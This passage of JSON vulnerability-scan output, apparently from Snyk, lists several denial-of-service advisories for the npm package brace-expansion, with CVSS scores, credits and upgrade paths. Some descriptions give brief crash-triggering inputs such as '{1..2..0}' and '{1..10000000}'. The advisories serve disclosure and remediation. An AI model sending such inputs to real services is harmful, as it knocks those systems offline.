"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": 